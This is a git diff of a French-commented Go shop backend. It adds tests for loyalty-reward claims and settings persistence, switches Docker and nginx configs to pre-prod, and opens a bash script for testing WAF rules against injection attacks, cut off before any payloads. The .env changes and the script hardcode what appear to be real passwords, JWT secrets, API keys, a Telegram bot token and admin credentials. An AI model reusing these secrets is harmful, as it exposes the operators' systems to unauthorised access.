username := newTestClient(t, "reward_http_below")
rewardProductID := newTestProduct(t, "RewardHTTPBelow", 5)
newTestProduct(t, "RewardHTTPBelow", 5)
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
CategoryConfigs: []models.RewardCategoryConfig{{Category: "test", Type: "free_product", AllProducts: true}},
RewardItems: []models.RewardItem{{ProductID: rewardProductID, Quantity: 1, Price: 12}},
Threshold: 20,
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "free_product", AllProducts: true, Quantity: 1},
},
})
setClientPoolPoints(t, username, "pool_0", 5)
@@ -140,22 +189,21 @@ func TestClaimMyReward_HTTPFlow_RejectsWhenBelowThreshold(t *testing.T) {
}
}
// Si un item récompense configuré par l'admin pointe vers un produit
// supprimé/inexistant, la réclamation entière doit échouer — la récompense
// ne doit pas être consommée sans qu'aucun produit ne soit livré au client
// (ClaimPoolReward + AddRewardsToBasket sont maintenant dans la même
// transaction via ClaimPoolRewardAndAddToBasket).
// Si un produit configuré par l'admin (via Products explicite) pointe vers
// un produit supprimé/inexistant, la réclamation entière doit échouer — la
// récompense ne doit pas être consommée sans qu'aucun produit ne soit livré
// au client (ClaimPoolReward + AddRewardsToBasket sont dans la même
// transaction via ClaimPoolRewardAndAddToBasket ; la contrainte de clé
// étrangère sur baskets.product_id fait échouer l'insertion).
func TestClaimMyReward_HTTPFlow_FailsAtomicallyWhenProductMissing(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_missing_product")
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
// ProductIDs explicite (pas AllProducts) : le produit n'existe pas en
// base, donc il n'apparaîtrait jamais dans productCategories et ne
// serait jamais éligible via une correspondance AllProducts.
CategoryConfigs: []models.RewardCategoryConfig{{Category: "test", Type: "free_product", ProductIDs: []int{999999999}}},
RewardItems: []models.RewardItem{{ProductID: 999999999, Quantity: 1, Price: 12}}, // produit inexistant
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{{ProductID: 999999999, Quantity: 1}}},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
@@ -175,3 +223,159 @@ func TestClaimMyReward_HTTPFlow_FailsAtomicallyWhenProductMissing(t *testing.T)
t.Errorf("la récompense ne doit PAS être consommée si le produit est introuvable: got redeemed=%d want=0", redeemed["pool_0"])
}
}
// Si les catégories configurées sur la récompense ne correspondent à aucune
// catégorie du pool réclamé (erreur de configuration admin : pool assigné à
// "test", récompense configurée sur "other"), la liste de produits éligibles
// est vide et la réclamation doit échouer avant de consommer un point —
// sinon points_redeemed serait incrémenté sans qu'aucun produit ne soit
// jamais ajouté au panier (régression couverte : la récompense était
// auparavant "consommée" silencieusement sans rien livrer).
func TestClaimMyReward_HTTPFlow_RejectsWhenNoEligibleItemsForPoolCategories(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_no_eligible")
newTestProduct(t, "RewardHTTPNoEligible", 5)
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "other", Type: "free_product", AllProducts: true, Quantity: 1},
},
})
setClientPoolPoints(t, username, "pool_0", 25)
body, _ := json.Marshal(map[string]string{"pool_key": "pool_0"})
c, rec := claimRewardContext(username, body)
handlers.ClaimMyReward(c)
if rec.Code != http.StatusConflict {
t.Fatalf("status HTTP: got=%d want=%d body=%s", rec.Code, http.StatusConflict, rec.Body.String())
}
points, redeemed, err := testDB.GetClientPointsAndRewards(username)
if err != nil {
t.Fatalf("GetClientPointsAndRewards: %v", err)
}
if redeemed["pool_0"] != 0 {
t.Errorf("la récompense ne doit PAS être consommée si aucun produit n'est éligible: got redeemed=%d want=0", redeemed["pool_0"])
}
if points["pool_0"] != 25 {
t.Errorf("les points accumulés ne doivent pas être touchés: got=%d want=25", points["pool_0"])
}
rows := basketRewardItems(t, username)
if len(rows) != 0 {
t.Errorf("aucun produit récompense ne doit être ajouté au panier: %+v", rows)
}
}
// Une même catégorie peut avoir les deux types de récompense actifs en
// parallèle (un lot de produits offerts + un lot de produits à -50%), chacun
// avec sa propre sélection de produits et sa propre quantité. Un seul claim
// doit alors ajouter les deux produits au panier, chacun tarifé selon son
// propre type et sa propre quantité.
func TestClaimMyReward_HTTPFlow_CategoryWithBothTypesSimultaneously(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_dual_type")
freeProductID := newTestProduct(t, "RewardHTTPDualFree", 5)
halfProductID := newTestProduct(t, "RewardHTTPDualHalf", 5)
// newTestProduct crée les deux produits dans la catégorie "test", avec un
// prix actif de 10.00€ pour quantity=1 (voir tests/main_test.go).
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
Description: "Un produit offert + un produit à -50%",
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{{ProductID: freeProductID, Quantity: 1}}},
{Category: "test", Type: "half_price_product", Products: []models.RewardProductQuantity{{ProductID: halfProductID, Quantity: 1}}},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
body, _ := json.Marshal(map[string]string{"pool_key": "pool_0"})
c, rec := claimRewardContext(username, body)
handlers.ClaimMyReward(c)
if rec.Code != http.StatusOK {
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
}
rows := basketRewardItems(t, username)
if len(rows) != 2 {
t.Fatalf("les deux produits récompense doivent être dans le panier: %+v", rows)
}
var freeRow, halfRow *rewardBasketRow
for i := range rows {
switch rows[i].ProductID {
case freeProductID:
freeRow = &rows[i]
case halfProductID:
halfRow = &rows[i]
}
}
if freeRow == nil || halfRow == nil {
t.Fatalf("les deux produits attendus doivent être présents: %+v", rows)
}
if freeRow.Price != 0 {
t.Errorf("produit de la config free_product: le prix en panier doit être 0: got=%.2f", freeRow.Price)
}
if halfRow.Price != 5.0 {
t.Errorf("produit de la config half_price_product: prix attendu = 50%% de 10.00€ = 5.00€: got=%.2f", halfRow.Price)
}
}
// Quand une catégorie n'est pas configurée en "tous les produits", chaque
// produit sélectionné a sa propre quantité (ex: produit A à 2g offerts,
// produit B à 1g offert, tous deux dans la même catégorie et le même type).
func TestClaimMyReward_HTTPFlow_PerProductQuantityWithinSameCategoryAndType(t *testing.T) {
cleanupStockTestData(t)
username := newTestClient(t, "reward_http_per_product_qty")
productA := newTestProduct(t, "RewardHTTPPerProductA", 5)
productB := newTestProduct(t, "RewardHTTPPerProductB", 5)
// newTestProduct crée les deux produits dans la catégorie "test".
configureRewardSettings(t, &models.PointsReward{
Threshold: 20,
Description: "Produit A 2g offert, produit B 1g offert",
CategoryConfigs: []models.RewardCategoryConfig{
{Category: "test", Type: "free_product", Products: []models.RewardProductQuantity{
{ProductID: productA, Quantity: 2},
{ProductID: productB, Quantity: 1},
}},
},
})
setClientPoolPoints(t, username, "pool_0", 20)
body, _ := json.Marshal(map[string]string{"pool_key": "pool_0"})
c, rec := claimRewardContext(username, body)
handlers.ClaimMyReward(c)
if rec.Code != http.StatusOK {
t.Fatalf("status HTTP: got=%d body=%s", rec.Code, rec.Body.String())
}
rows := basketRewardItems(t, username)
if len(rows) != 2 {
t.Fatalf("les deux produits récompense doivent être dans le panier: %+v", rows)
}
var rowA, rowB *rewardBasketRow
for i := range rows {
switch rows[i].ProductID {
case productA:
rowA = &rows[i]
case productB:
rowB = &rows[i]
}
}
if rowA == nil || rowB == nil {
t.Fatalf("les deux produits attendus doivent être présents: %+v", rows)
}
if rowA.Quantity != 2 {
t.Errorf("produit A: quantité attendue=2, got=%.2f", rowA.Quantity)
}
if rowB.Quantity != 1 {
t.Errorf("produit B: quantité attendue=1, got=%.2f", rowB.Quantity)
}
}
+36
View File
@@ -1,6 +1,7 @@
package tests
import (
"gestion/db"
"gestion/models"
"strings"
"sync"
@@ -40,6 +41,41 @@ func basketRewardItems(t *testing.T, username string) []rewardBasketRow {
return rows
}
// Désactiver la récompense (PointsReward = nil) puis sauvegarder ne doit pas
// la faire réapparaître activée au rechargement — régression : json.Marshal
// d'un pointeur nil produit la chaîne "null", et json.Unmarshal d'un null
// JSON dans une valeur non-pointeur est un no-op sans erreur, ce qui laissait
// settings.PointsReward pointer vers une struct vide mais non-nil.
func TestUpdateSettings_DisablingPointsRewardPersistsAsNil(t *testing.T) {
settings := db.DefaultSettings()
settings.PointsReward = &models.PointsReward{
Threshold: 20,
Description: "Un produit offert",
}
if err := testDB.UpdateSettings(settings); err != nil {
t.Fatalf("UpdateSettings (activation): %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (activation): %v", err)
}
if loaded.PointsReward == nil {
t.Fatal("la récompense devrait être active après la première sauvegarde")
}
settings.PointsReward = nil
if err := testDB.UpdateSettings(settings); err != nil {
t.Fatalf("UpdateSettings (désactivation): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (désactivation): %v", err)
}
if loaded.PointsReward != nil {
t.Errorf("la récompense désactivée ne doit pas réapparaître après sauvegarde: got=%+v", loaded.PointsReward)
}
}
// ── ClaimPoolReward : seuil, atomicité, épuisement ──────────────────────────
func TestClaimPoolReward_BelowThresholdFails(t *testing.T) {
@@ -0,0 +1,390 @@
package tests
import (
"bytes"
"encoding/json"
"gestion/db"
"gestion/handlers"
"gestion/models"
"net/http"
"net/http/httptest"
"testing"
"github.com/gin-gonic/gin"
)
// resetSettingsAfterTest restaure les settings par défaut à la fin du test —
// AppSettings est un état global partagé (une seule ligne par clé dans
// app_settings), donc un test qui le modifie ne doit pas laisser de résidu
// pour les tests suivants (ex: DeliveryMode utilisé par d'autres suites).
func resetSettingsAfterTest(t *testing.T) {
t.Helper()
t.Cleanup(func() {
if err := testDB.UpdateSettings(db.DefaultSettings()); err != nil {
t.Logf("⚠️ resetSettingsAfterTest: restauration des settings par défaut échouée: %v", err)
}
})
}
// ── Bascules booléennes (activer/désactiver une option) ─────────────────────
//
// Régression visée : chaque option doit persister à sa valeur exacte après un
// cycle save→reload, dans les deux sens (activation ET désactivation) — voir
// TestUpdateSettings_DisablingPointsRewardPersistsAsNil pour un cas où la
// désactivation ne persistait pas correctement.
func TestUpdateSettings_DisablingBooleanTogglesPersists(t *testing.T) {
resetSettingsAfterTest(t)
set := func(v bool) models.AppSettings {
s := db.DefaultSettings()
s.PenaltiesEnabled = v
s.ShowAmendeScore = v
s.PointsEnabled = v
s.ReferralEnabled = v
s.CryptoPaymentEnabled = v
s.CryptoOnly = v
s.TelegramNotificationsEnabled = v
s.Telegram2FAEnabled = v
return s
}
assertAll := func(t *testing.T, want bool) {
t.Helper()
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
checks := map[string]bool{
"penalties_enabled": loaded.PenaltiesEnabled,
"show_amende_score": loaded.ShowAmendeScore,
"points_enabled": loaded.PointsEnabled,
"referral_enabled": loaded.ReferralEnabled,
"crypto_payment_enabled": loaded.CryptoPaymentEnabled,
"crypto_only": loaded.CryptoOnly,
"telegram_notifications_enabled": loaded.TelegramNotificationsEnabled,
"telegram_2fa_enabled": loaded.Telegram2FAEnabled,
}
for key, got := range checks {
if got != want {
t.Errorf("%s: got=%v want=%v", key, got, want)
}
}
}
if err := testDB.UpdateSettings(set(true)); err != nil {
t.Fatalf("UpdateSettings (activation): %v", err)
}
assertAll(t, true)
if err := testDB.UpdateSettings(set(false)); err != nil {
t.Fatalf("UpdateSettings (désactivation): %v", err)
}
assertAll(t, false)
}
// ── Options non-booléennes (hors NowPayments) ───────────────────────────────
// Le barème des amendes (penalty_tiers) est éditable dans l'admin
// ("Barème des amendes") mais aucune clé "penalty_tiers" n'existe dans les
// pairs persistées par UpdateSettings ni dans le switch de GetSettings — la
// configuration saisie par l'admin est donc silencieusement perdue au
// prochain rechargement, et retombe toujours sur le barème par défaut.
func TestUpdateSettings_PenaltyTiersRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.PenaltyTiers = []models.PenaltyTier{
{MinCancel: 0, Amount: 10},
{MinCancel: 5, Amount: 999},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if len(loaded.PenaltyTiers) != 2 || loaded.PenaltyTiers[1].Amount != 999 {
t.Errorf("le barème des amendes personnalisé n'a pas été persisté: got=%+v", loaded.PenaltyTiers)
}
}
func TestUpdateSettings_ReferralAmountRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.ReferralAmount = 12.5
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if loaded.ReferralAmount != 12.5 {
t.Errorf("referral_amount: got=%.2f want=12.50", loaded.ReferralAmount)
}
s.ReferralAmount = 0
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings (remise à zéro): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (remise à zéro): %v", err)
}
if loaded.ReferralAmount != 0 {
t.Errorf("referral_amount remis à 0: got=%.2f want=0.00", loaded.ReferralAmount)
}
}
func TestUpdateSettings_PointsPoolsRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.PointsPools = []models.PointsPool{
{
Key: "pool_custom",
Name: "Pool Custom",
Categories: []string{"catA", "catB"},
Tiers: []models.PointsTier{{Min: 10, Max: 20, Points: 7}},
},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if len(loaded.PointsPools) != 1 || loaded.PointsPools[0].Key != "pool_custom" ||
len(loaded.PointsPools[0].Categories) != 2 || loaded.PointsPools[0].Tiers[0].Points != 7 {
t.Errorf("points_pools personnalisé mal persisté: got=%+v", loaded.PointsPools)
}
}
func TestUpdateSettings_DeliveryScheduleRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.DeliverySchedule.Monday = models.DaySchedule{Enabled: false, OpenTime: "10:00", CloseTime: "18:00"}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if loaded.DeliverySchedule.Monday.Enabled != false ||
loaded.DeliverySchedule.Monday.OpenTime != "10:00" ||
loaded.DeliverySchedule.Monday.CloseTime != "18:00" {
t.Errorf("delivery_schedule.monday mal persisté: got=%+v", loaded.DeliverySchedule.Monday)
}
}
func TestUpdateSettings_PostalZonesRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.PostalZones = []models.PostalZone{
{Name: "Zone Test", MinAmount: 42, Codes: []string{"11111", "22222"}},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if len(loaded.PostalZones) != 1 || loaded.PostalZones[0].MinAmount != 42 ||
len(loaded.PostalZones[0].Codes) != 2 {
t.Errorf("postal_zones mal persisté: got=%+v", loaded.PostalZones)
}
}
func TestUpdateSettings_DeliveryModeRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.DeliveryMode = models.DeliveryModeConfig{
Mode: "category_based",
CategoryRoutes: []models.CategoryRoute{
{DeliverymanUsername: "livreur_test", Categories: []string{"catA"}},
},
}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if loaded.DeliveryMode.Mode != "category_based" || len(loaded.DeliveryMode.CategoryRoutes) != 1 ||
loaded.DeliveryMode.CategoryRoutes[0].DeliverymanUsername != "livreur_test" {
t.Errorf("delivery_mode mal persisté: got=%+v", loaded.DeliveryMode)
}
// Repasser en mode "single" avec une liste vide doit aussi persister
// correctement (pas de résidu de l'ancienne liste category_routes).
s.DeliveryMode = models.DeliveryModeConfig{Mode: "single", CategoryRoutes: []models.CategoryRoute{}}
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings (retour single): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (retour single): %v", err)
}
if loaded.DeliveryMode.Mode != "single" || len(loaded.DeliveryMode.CategoryRoutes) != 0 {
t.Errorf("delivery_mode retour à single mal persisté: got=%+v", loaded.DeliveryMode)
}
}
func TestUpdateSettings_ShopAndTelegramTextFieldsRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.ShopName = "Ma Boutique Test"
s.TelegramBotToken = "123456:ABC-test-token"
s.TelegramBotUsername = "mon_bot_test"
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if loaded.ShopName != "Ma Boutique Test" {
t.Errorf("shop_name: got=%q want=%q", loaded.ShopName, "Ma Boutique Test")
}
if loaded.TelegramBotToken != "123456:ABC-test-token" {
t.Errorf("telegram_bot_token: got=%q", loaded.TelegramBotToken)
}
if loaded.TelegramBotUsername != "mon_bot_test" {
t.Errorf("telegram_bot_username: got=%q", loaded.TelegramBotUsername)
}
// Effacer le token/username (chaîne vide) doit aussi persister tel quel —
// contrairement à contact_telegram qui a un repli explicite non-vide.
s.TelegramBotToken = ""
s.TelegramBotUsername = ""
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings (effacement): %v", err)
}
loaded, err = testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings (effacement): %v", err)
}
if loaded.TelegramBotToken != "" || loaded.TelegramBotUsername != "" {
t.Errorf("token/username effacés devraient rester vides: got token=%q username=%q", loaded.TelegramBotToken, loaded.TelegramBotUsername)
}
}
func TestUpdateSettings_ColorAndGradientFieldsRoundTrip(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.AdminColorPrimary = "#111111"
s.ClientColorDanger = "#222222"
s.ClientTitleGradientFrom = "#333333"
s.ClientTitleGradientTo = "#444444"
if err := testDB.UpdateSettings(s); err != nil {
t.Fatalf("UpdateSettings: %v", err)
}
loaded, err := testDB.GetSettings()
if err != nil {
t.Fatalf("GetSettings: %v", err)
}
if loaded.AdminColorPrimary != "#111111" {
t.Errorf("admin_color_primary: got=%q", loaded.AdminColorPrimary)
}
if loaded.ClientColorDanger != "#222222" {
t.Errorf("client_color_danger: got=%q", loaded.ClientColorDanger)
}
if loaded.ClientTitleGradientFrom != "#333333" || loaded.ClientTitleGradientTo != "#444444" {
t.Errorf("client_title_gradient: got from=%q to=%q", loaded.ClientTitleGradientFrom, loaded.ClientTitleGradientTo)
}
}
// Reproduit exactement le flux réel de l'admin : PUT /settings avec le JSON
// tel qu'envoyé par le frontend (category_configs[].products, en mode
// sélection), puis GET /settings pour vérifier ce qui revient — contrairement
// aux autres tests de ce fichier qui appellent testDB.UpdateSettings /
// GetSettings directement en Go, en contournant le binding JSON HTTP réel.
func TestUpdateSettingsHTTP_CategoryConfigProductsSurviveSaveReload(t *testing.T) {
resetSettingsAfterTest(t)
s := db.DefaultSettings()
s.PointsReward = &models.PointsReward{
Threshold: 20,
CategoryConfigs: []models.RewardCategoryConfig{
{
Category: "test",
Type: "free_product",
AllProducts: false,
Products: []models.RewardProductQuantity{
{ProductID: 111, Quantity: 2},
{ProductID: 222, Quantity: 1},
},
},
},
}
body, err := json.Marshal(s)
if err != nil {
t.Fatalf("json.Marshal: %v", err)
}
putReq := httptest.NewRequest(http.MethodPut, "/api/v2/admin/protected/settings", bytes.NewReader(body))
putReq.Header.Set("Content-Type", "application/json")
putRec := httptest.NewRecorder()
putCtx, _ := gin.CreateTestContext(putRec)
putCtx.Request = putReq
putCtx.Set("database", testDB)
handlers.UpdateSettings(putCtx)
if putRec.Code != http.StatusOK {
t.Fatalf("PUT /settings: status=%d body=%s", putRec.Code, putRec.Body.String())
}
getReq := httptest.NewRequest(http.MethodGet, "/api/v2/admin/protected/settings", nil)
getRec := httptest.NewRecorder()
getCtx, _ := gin.CreateTestContext(getRec)
getCtx.Request = getReq
getCtx.Set("database", testDB)
handlers.GetSettings(getCtx)
if getRec.Code != http.StatusOK {
t.Fatalf("GET /settings: status=%d body=%s", getRec.Code, getRec.Body.String())
}
var resp struct {
Settings models.AppSettings `json:"settings"`
}
if err := json.Unmarshal(getRec.Body.Bytes(), &resp); err != nil {
t.Fatalf("décodage réponse GET: %v body=%s", err, getRec.Body.String())
}
if resp.Settings.PointsReward == nil {
t.Fatalf("points_reward est nil après reload")
}
if len(resp.Settings.PointsReward.CategoryConfigs) != 1 {
t.Fatalf("category_configs: got=%d want=1: %+v", len(resp.Settings.PointsReward.CategoryConfigs), resp.Settings.PointsReward.CategoryConfigs)
}
cfg := resp.Settings.PointsReward.CategoryConfigs[0]
if len(cfg.Products) != 2 {
t.Fatalf("products: got=%d want=2 (produits sélectionnés non persistés): %+v", len(cfg.Products), cfg.Products)
}
if cfg.Products[0].ProductID != 111 || cfg.Products[0].Quantity != 2 {
t.Errorf("products[0]: got=%+v want={ProductID:111 Quantity:2}", cfg.Products[0])
}
if cfg.Products[1].ProductID != 222 || cfg.Products[1].Quantity != 1 {
t.Errorf("products[1]: got=%+v want={ProductID:222 Quantity:1}", cfg.Products[1])
}
}
@@ -1,7 +1,7 @@
DB_HOST=postgres
DB_PORT=5432
DB_USER=postgres
DB_PASSWORD=1SWDxH20rV7K2Uc2PNlwCaCxfVZEtKomF0CK9OMh
DB_PASSWORD=Ia3JWjw3Y0HzlEXH6QH3pqEu09Fap5C420
DB_NAME=gestion_db
DB_SSLMODE=disable
SESSION_SECRET=GwDgqYn7Tn4x6Hs9ZjUD6HP8B7pQWK
@@ -9,7 +9,7 @@ USER_JWT_SECRET=69F5ujM1YZ6JBh3pXczc3j0JzBuAvU
ADMIN_JWT_SECRET=RwPxdzSzAR7HcrufA6kEXHFdIiEX87
REDIS_HOST=redis
REDIS_PORT=6379
REDIS_PASSWORD=k6UYX9RtuXJVV1HUeefbSukMcSwjvVgRsh2qJGPh
REDIS_PASSWORD=m3hQyr4BgF0Paer1H4a5iUnzXqjUji
TOMTOM_API_KEY=MERY8I7LMeYVSLKO5WuV73W9rKJpBLoB
TOMTOM_API_KEY_1=6F7HHk8GT6WGlZ22W4gfAbRiQk5lJoGV
TELEGRAM_BOT_TOKEN=7419967935:AAEeNIzlK6DqcQTL8q63zQ-Ted5W5VOd-LI
@@ -24,3 +24,11 @@ BACKEND_LINK_SECRET=change_me_internal_secret
API_PORT=8080
FRONTEND_PORT=5173
GIN_MODE=release
# STORAGE_DRIVER=local (defaut, stockage disque via le volume backend_uploads) ou s3 (RustFS)
STORAGE_DRIVER=local
# Requis uniquement si STORAGE_DRIVER=s3
S3_REGION=us-east-1
S3_BUCKET=
S3_ENDPOINT=
RUSTFS_ACCESS_KEY=
RUSTFS_SECRET_KEY=
@@ -13,7 +13,7 @@ BOT2_USERNAME=rezDJDFJSFUltraFast_bot
BOT2_WEBHOOK_SECRET=591aVEu1kj3YUVCNWAOU2xGdFNCVWqElzXGi
# URL publique de la gateway (pour setWebhook Telegram)
GATEWAY_URL=https://demo-uber.club
GATEWAY_URL=https://uber-demo.club
# JWT
JWT_SECRET=IxGF36s14J0ZNeQCF2Of0APc4kpNd5PlsJ
@@ -42,7 +42,7 @@ COPY --from=builder /app/server .
COPY --from=builder /usr/share/zoneinfo /usr/share/zoneinfo
# Copier l'entrypoint
COPY docker-prod/backend/entrypoint.sh .
COPY docker-pre-prod/backend/entrypoint.sh .
RUN chmod +x entrypoint.sh
RUN mkdir -p /app/uploads/images /app/uploads/videos && \
@@ -66,8 +66,8 @@ USER root
RUN mkdir -p /var/log/modsec /etc/nginx/certs && \
chown -R nginx:nginx /var/log/modsec /etc/nginx/certs /usr/share/nginx/html
COPY docker-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
COPY docker-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
COPY docker-pre-prod/backend/nginx.conf /etc/nginx/conf.d/app.conf
COPY docker-pre-prod/backend/custom-rules.conf /etc/nginx/modsec/custom-rules.conf
RUN echo "Include /etc/nginx/modsec/custom-rules.conf" > /etc/nginx/modsec/custom-includes.conf && \
rm -f /etc/nginx/templates/conf.d/default.conf.template || true
@@ -141,20 +141,6 @@ server {
proxy_set_header X-Forwarded-Proto $scheme;
}
location = /webhook/nowpayement {
limit_except POST { deny all; }
set $upstream_backend http://backend:8080;
proxy_pass $upstream_backend;
proxy_http_version 1.1;
proxy_set_header Connection "";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# ---------------------------------------------------
# Webhooks LBTelegram (/webhook/bot1, /webhook/bot2…)
# ---------------------------------------------------
@@ -3,7 +3,7 @@ services:
# Backend Go
# =========================================================
backend:
image: xor1234/backend-mln:latest
image: xor1234/backend-mln:pre-prod
container_name: gestion-backend
restart: unless-stopped
environment:
@@ -35,15 +35,22 @@ services:
- LBTELEGRAM_BOT1_USERNAME=${LBTELEGRAM_BOT1_USERNAME:-GetRezStealer_bot}
- LBTELEGRAM_BOT2_USERNAME=${LBTELEGRAM_BOT2_USERNAME:-rezDJDFJSFUltraFast_bot}
- BACKEND_LINK_SECRET=${BACKEND_LINK_SECRET:-change_me_internal_secret}
- STORAGE_DRIVER=${STORAGE_DRIVER:-local}
volumes:
- backend_uploads:/app/uploads
networks:
- gestion-network
depends_on:
postgres:
condition: service_healthy
redis:
condition: service_healthy
# =========================================================
# Frontend Web (React/Vite — servi en HTTP interne)
# =========================================================
frontend:
image: xor1234/frontend-mln:latest
image: xor1234/frontend-mln:pre-prod
container_name: gestion-frontend
restart: unless-stopped
networks:
@@ -52,7 +59,7 @@ services:
- backend
waf:
image: xor1234/backend-mln:waf
image: xor1234/backend-mln:waf-pre-prod
container_name: gestion-waf
restart: unless-stopped
environment:
@@ -77,6 +84,66 @@ services:
- backend
- frontend
# =========================================================
# PostgreSQL
# =========================================================
postgres:
image: postgres:16-alpine
container_name: gestion-postgres
restart: unless-stopped
environment:
- POSTGRES_USER=${DB_USER:-postgres}
- POSTGRES_PASSWORD=${DB_PASSWORD}
- POSTGRES_DB=${DB_NAME:-gestion_db}
- PGDATA=/var/lib/postgresql/data/pgdata
volumes:
- postgres_data:/var/lib/postgresql/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD-SHELL",
"pg_isready -U ${DB_USER:-postgres} -d ${DB_NAME:-gestion_db}",
]
interval: 10s
timeout: 5s
retries: 5
start_period: 10s
# =========================================================
# Redis
# =========================================================
redis:
image: redis:7-alpine
container_name: gestion-redis
restart: unless-stopped
command: >
redis-server
--requirepass ${REDIS_PASSWORD}
--appendonly yes
--appendfsync everysec
--maxmemory 256mb
--maxmemory-policy allkeys-lru
volumes:
- redis_data:/data
networks:
- gestion-network
healthcheck:
test:
[
"CMD",
"redis-cli",
"--no-auth-warning",
"-a",
"${REDIS_PASSWORD}",
"ping",
]
interval: 10s
timeout: 3s
retries: 5
start_period: 10s
# =========================================================
# LBTelegram — Gateway Telegram load balancer
# =========================================================
@@ -16,7 +16,7 @@ RUN npm run build
# =========================================================
FROM nginx:alpine AS runtime
COPY docker-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
COPY docker-pre-prod/frontend/nginx.conf /etc/nginx/conf.d/default.conf
COPY --from=builder /app/dist /usr/share/nginx/html
+610
View File
@@ -0,0 +1,610 @@
#!/bin/bash
# =============================================================================
# Script de Test - ModSecurity Rules (XSS, SQL Injection, RCE, LFI, RFI)
# =============================================================================
# Description: Teste les règles WAF pour XSS, SQL, RCE, LFI et RFI
# Usage: ./test-rules.sh
# =============================================================================
# Couleurs pour l'affichage
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
PURPLE='\033[0;35m'
CYAN='\033[0;36m'
NC='\033[0m' # No Color
BOLD='\033[1m'
# Configuration
API_BASE_URL="http://172.20.167.237"
# Credentials Client
CLIENT_USERNAME="salut"
CLIENT_PASSWORD="salut1234_"
CLIENT_TOKEN=""
# Credentials Admin
ADMIN_USERNAME="admin_1768505094"
ADMIN_PASSWORD="AdminPass123!"
ADMIN_TOKEN=""
TOTAL_TESTS=0
PASSED_TESTS=0
FAILED_TESTS=0
LOG_FILE="modsec_test_$(date +%Y%m%d_%H%M%S).log"
# =============================================================================
# Fonctions Utilitaires
# =============================================================================
print_header() {
echo -e "\n${BOLD}${CYAN}========================================${NC}"
echo -e "${BOLD}${CYAN}$1${NC}"
echo -e "${BOLD}${CYAN}========================================${NC}\n"
}
print_section() {
echo -e "\n${BOLD}${BLUE}>>> $1${NC}\n"
}
print_test() {
echo -e "${YELLOW}[TEST] $1${NC}"
}
print_success() {
((PASSED_TESTS++))
((TOTAL_TESTS++))
echo -e "${GREEN}✓ PASS${NC} - $1" | tee -a "$LOG_FILE"
}
print_fail() {
((FAILED_TESTS++))
((TOTAL_TESTS++))
echo -e "${RED}✗ FAIL${NC} - $1" | tee -a "$LOG_FILE"
}
print_info() {
echo -e "${CYAN} INFO${NC} - $1"
}
print_warning() {
echo -e "${YELLOW}⚠ WARNING${NC} - $1"
}
print_response() {
